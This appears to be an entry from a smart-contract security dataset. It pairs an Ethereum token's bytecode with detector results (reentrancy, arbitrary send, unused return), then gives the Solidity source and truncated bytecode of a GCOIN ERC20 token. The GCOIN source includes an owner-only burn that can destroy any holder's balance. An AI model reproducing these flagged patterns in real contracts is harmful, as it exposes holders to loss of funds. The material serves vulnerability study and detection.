fffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5350414345494e55000000000000000000000000000000000000000000000000815250905090565b6000600754905090565b600061076c610765610d83565b8484610f56565b6001905092915050565b61077e610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612262565b60405180910390fd5b600a60149054906101000a900460ff161561085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290612202565b60405180910390fd5b61088a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a9190611cb0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ae57600080fd5b505afa1580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190611cb0565b6040518363ffffffff1660e01b8152600401610a039291906120b2565b602060405180830381600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611cb0565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ade30610544565b600080610ae96106e8565b426040518863ffffffff1660e01b8152600401610b0b96959493929190612104565b6060604051808303818588803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b5d9190611ddd565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c359291906120db565b602060405180830381600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190611db0565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d52610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610d7257600080fd5b6000479050610d8081611512565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906122c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e62906121e2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4991906122e2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906122a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906121a2565b60405180910390fd5b60008111611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090612282565b60405180910390fd5b6110816106e8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110ef57506110bf6106e8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a857600a60159054906101000a900460ff1615801561115f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111775750600a60169054906101000a900460ff165b156111a75761118d61118830610544565b61121c565b600047905060008111156111a5576111a447611512565b5b505b5b6111b383838361157e565b505050565b6000838311158290611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f79190612180565b60405180910390fd5b506000838561120f91906124a8565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561125457611253612603565b5b6040519080825280602002602001820160405280156112825781602001602082028036833780820191505090505b509050308160008151811061129a576112996125d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133c57600080fd5b505afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611cb0565b81600181518110611388576113876125d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ef30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114539594939291906122fd565b600060405180830381600087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60006004548211156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e2906121c2565b60405180910390fd5b60006114f561158e565b905061150a81846115b990919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b5050565b611589838383611603565b505050565b600080600061159b6117ce565b915091506115b281836115b990919063ffffffff16565b9250505090565b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181b565b905092915050565b6000806000806000806116158761187e565b95509550955095509550955061167386600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117548161198b565b61175e8483611a48565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bb91906122e2565b60405180910390a3505050505050505050565b60008060006004549050600060035490506117f66003546004546115b990919063ffffffff16565b82101561180e57600454600354935093505050611817565b81819350935050505b9091565b60008083118290611862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118599190612180565b60405180910390fd5b5060008385611871919061241d565b9050809150509392505050565b60008060008060008060008060006118988a600754611a82565b92509250925060006118a861158e565b905060008060006118bb8e878787611b16565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061192583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b905092915050565b600080828461193c91906123c7565b905083811015611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612222565b60405180910390fd5b8091505092915050565b600061199561158e565b905060006119ac8284611b9f90919063ffffffff16565b9050611a0081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611a5d826004546118e390919063ffffffff16565b600481905550611a788160055461192d90919063ffffffff16565b6005819055505050565b600080600080611aae6064611aa08789611b9f90919063ffffffff16565b6115b990919063ffffffff16565b90506000611ad86064611aca888a611b9f90919063ffffffff16565b6115b990919063ffffffff16565b90506000611b0182611af3858b6118e390919063ffffffff16565b6118e390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611b2f8589611b9f90919063ffffffff16565b90506000611b468689611b9f90919063ffffffff16565b90506000611b5d8789611b9f90919063ffffffff16565b90506000611b8682611b7885876118e390919063ffffffff16565b6118e390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611bb25760009050611c14565b60008284611bc0919061244e565b9050828482611bcf919061241d565b14611c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0690612242565b60405180910390fd5b809150505b92915050565b600081359050611c29816128ec565b92915050565b600081519050611c3e816128ec565b92915050565b600081519050611c5381612903565b92915050565b600081359050611c688161291a565b92915050565b600081519050611c7d8161291a565b92915050565b600060208284031215611c9957611c98612632565b5b6000611ca784828501611c1a565b91505092915050565b600060208284031215611cc657611cc5612632565b5b6000611cd484828501611c2f565b91505092915050565b60008060408385031215611cf457611cf3612632565b5b6000611d0285828601611c1a565b9250506020611d1385828601611c1a565b9150509250929050565b600080600060608486031215611d3657611d35612632565b5b6000611d4486828701611c1a565b9350506020611d5586828701611c1a565b9250506040611d6686828701611c59565b9150509250925092565b60008060408385031215611d8757611d86612632565b5b6000611d9585828601611c1a565b9250506020611da685828601611c59565b9150509250929050565b600060208284031215611dc657611dc5612632565b5b6000611dd484828501611c44565b91505092915050565b600080600060608486031215611df657611df5612632565b5b6000611e0486828701611c6e565b9350506020611e1586828701611c6e565b9250506040611e2686828701611c6e565b9150509250925092565b6000611e3c8383611e48565b60208301905092915050565b611e51816124dc565b82525050565b611e60816124dc565b82525050565b6000611e7182612382565b611e7b81856123a5565b9350611e8683612372565b8060005b83811015611eb7578151611e9e8882611e30565b9750611ea983612398565b925050600181019050611e8a565b5085935050505092915050565b611ecd816124ee565b82525050565b611edc81612531565b82525050565b6000611eed8261238d565b611ef781856123b6565b9350611f07818560208601612543565b611f1081612637565b840191505092915050565b6000611f286023836123b6565b9150611f3382612648565b604082019050919050565b6000611f4b602a836123b6565b9150611f5682612697565b604082019050919050565b6000611f6e6022836123b6565b9150611f79826126e6565b604082019050919050565b6000611f916017836123b6565b9150611f9c82612735565b602082019050919050565b6000611fb4601b836123b6565b9150611fbf8261275e565b602082019050919050565b6000611fd76021836123b6565b9150611fe282612787565b604082019050919050565b6000611ffa6020836123b6565b9150612005826127d6565b602082019050919050565b600061201d6029836123b6565b9150612028826127ff565b604082019050919050565b60006120406025836123b6565b915061204b8261284e565b604082019050919050565b60006120636024836123b6565b915061206e8261289d565b604082019050919050565b6120828161251a565b82525050565b61209181612524565b82525050565b60006020820190506120ac6000830184611e57565b92915050565b60006040820190506120c76000830185611e57565b6120d46020830184611e57565b9392505050565b60006040820190506120f06000830185611e57565b6120fd6020830184612079565b9392505050565b600060c0820190506121196000830189611e57565b6121266020830188612079565b6121336040830187611ed3565b6121406060830186611ed3565b61214d6080830185611e57565b61215a60a0830184612079565b979650505050505050565b600060208201905061217a6000830184611ec4565b92915050565b6000602082019050818103600083015261219a8184611ee2565b905092915050565b600060208201905081810360008301526121bb81611f1b565b9050919050565b600060208201905081810360008301526121db81611f3e565b9050919050565b600060208201905081810360008301526121fb81611f61565b9050919050565b6000602082019050818103600083015261221b81611f84565b9050919050565b6000602082019050818103600083015261223b81611fa7565b9050919050565b6000602082019050818103600083015261225b81611fca565b9050919050565b6000602082019050818103600083015261227b81611fed565b9050919050565b6000602082019050818103600083015261229b81612010565b9050919050565b600060208201905081810360008301526122bb81612033565b9050919050565b600060208201905081810360008301526122db81612056565b9050919050565b60006020820190506122f76000830184612079565b92915050565b600060a0820190506123126000830188612079565b61231f6020830187611ed3565b81810360408301526123318186611e66565b90506123406060830185611e57565b61234d6080830184612079565b9695505050505050565b600060208201905061236c6000830184612088565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123d28261251a565b91506123dd8361251a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241257612411612576565b5b828201905092915050565b60006124288261251a565b91506124338361251a565b925082612443576124426125a5565b5b828204905092915050565b60006124598261251a565b91506124648361251a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561249d5761249c612576565b5b828202905092915050565b60006124b38261251a565b91506124be8361251a565b9250828210156124d1576124d0612576565b5b828203905092915050565b60006124e7826124fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061253c8261251a565b9050919050565b60005b83811015612561578082015181840152602081019050612546565b83811115612570576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128f5816124dc565b811461290057600080fd5b50565b61290c816124ee565b811461291757600080fd5b50565b6129238161251a565b811461292e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b14f58a5cfc9600d8c23b4309f41845e689ce78262044668a0537f038e7b192664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,488 |
0xB584f9D2a097CFE03e073e8e8ae2B0271f6F6A50
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GCOIN is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "GCOIN";
_symbol = "GCN";
_totalSupply = 1000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101d5578063a9059cbb146101e8578063dd62ed3e146101fb578063f2fde38b1461020e576100f5565b8063715018a61461019b5780638da5cb5b146101a557806395d89b41146101ba5780639dc29fac146101c2576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461017557806370a0823114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610221565b60405161010f9190610a0f565b60405180910390f35b61012b6101263660046109c7565b6102b3565b60405161010f9190610a04565b6101406102d0565b60405161010f9190610d41565b61012b61015b36600461098c565b6102d6565b610168610376565b60405161010f9190610d4a565b61012b6101833660046109c7565b61037b565b610140610196366004610939565b6103ca565b6101a36103e9565b005b6101ad610472565b60405161010f91906109f0565b610102610481565b6101a36101d03660046109c7565b610490565b61012b6101e33660046109c7565b6104dd565b61012b6101f63660046109c7565b610558565b61014061020936600461095a565b61056c565b6101a361021c366004610939565b610597565b60606004805461023090610d87565b80601f016020809104026020016040519081016040528092919081815260200182805461025c90610d87565b80156102a95780601f1061027e576101008083540402835291602001916102a9565b820191906000526020600020905b81548152906001019060200180831161028c57829003601f168201915b5050505050905090565b60006102c76102c0610657565b848461065b565b50600192915050565b60035490565b60006102e384848461070f565b6001600160a01b038416600090815260026020526040812081610304610657565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156103505760405162461bcd60e51b815260040161034790610bb5565b60405180910390fd5b61036b8561035c610657565b6103668685610d70565b61065b565b506001949350505050565b601290565b60006102c7610388610657565b848460026000610396610657565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103669190610d58565b6001600160a01b0381166000908152600160205260409020545b919050565b6103f1610657565b6001600160a01b0316610402610472565b6001600160a01b0316146104285760405162461bcd60e51b815260040161034790610bfd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60606005805461023090610d87565b610498610657565b6001600160a01b03166104a9610472565b6001600160a01b0316146104cf5760405162461bcd60e51b815260040161034790610bfd565b6104d98282610837565b5050565b600080600260006104ec610657565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156105385760405162461bcd60e51b815260040161034790610cfc565b61054e610543610657565b856103668685610d70565b5060019392505050565b60006102c7610565610657565b848461070f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61059f610657565b6001600160a01b03166105b0610472565b6001600160a01b0316146105d65760405162461bcd60e51b815260040161034790610bfd565b6001600160a01b0381166105fc5760405162461bcd60e51b815260040161034790610ae7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166106815760405162461bcd60e51b815260040161034790610cb8565b6001600160a01b0382166106a75760405162461bcd60e51b815260040161034790610b2d565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610702908590610d41565b60405180910390a3505050565b6001600160a01b0383166107355760405162461bcd60e51b815260040161034790610c73565b6001600160a01b03821661075b5760405162461bcd60e51b815260040161034790610a62565b61076683838361091d565b6001600160a01b0383166000908152600160205260409020548181101561079f5760405162461bcd60e51b815260040161034790610b6f565b6107a98282610d70565b6001600160a01b0380861660009081526001602052604080822093909355908516815290812080548492906107df908490610d58565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108299190610d41565b60405180910390a350505050565b6001600160a01b03821661085d5760405162461bcd60e51b815260040161034790610c32565b6108698260008361091d565b6001600160a01b038216600090815260016020526040902054818110156108a25760405162461bcd60e51b815260040161034790610aa5565b6108ac8282610d70565b6001600160a01b038416600090815260016020526040812091909155600380548492906108da908490610d70565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610702908690610d41565b505050565b80356001600160a01b03811681146103e457600080fd5b60006020828403121561094a578081f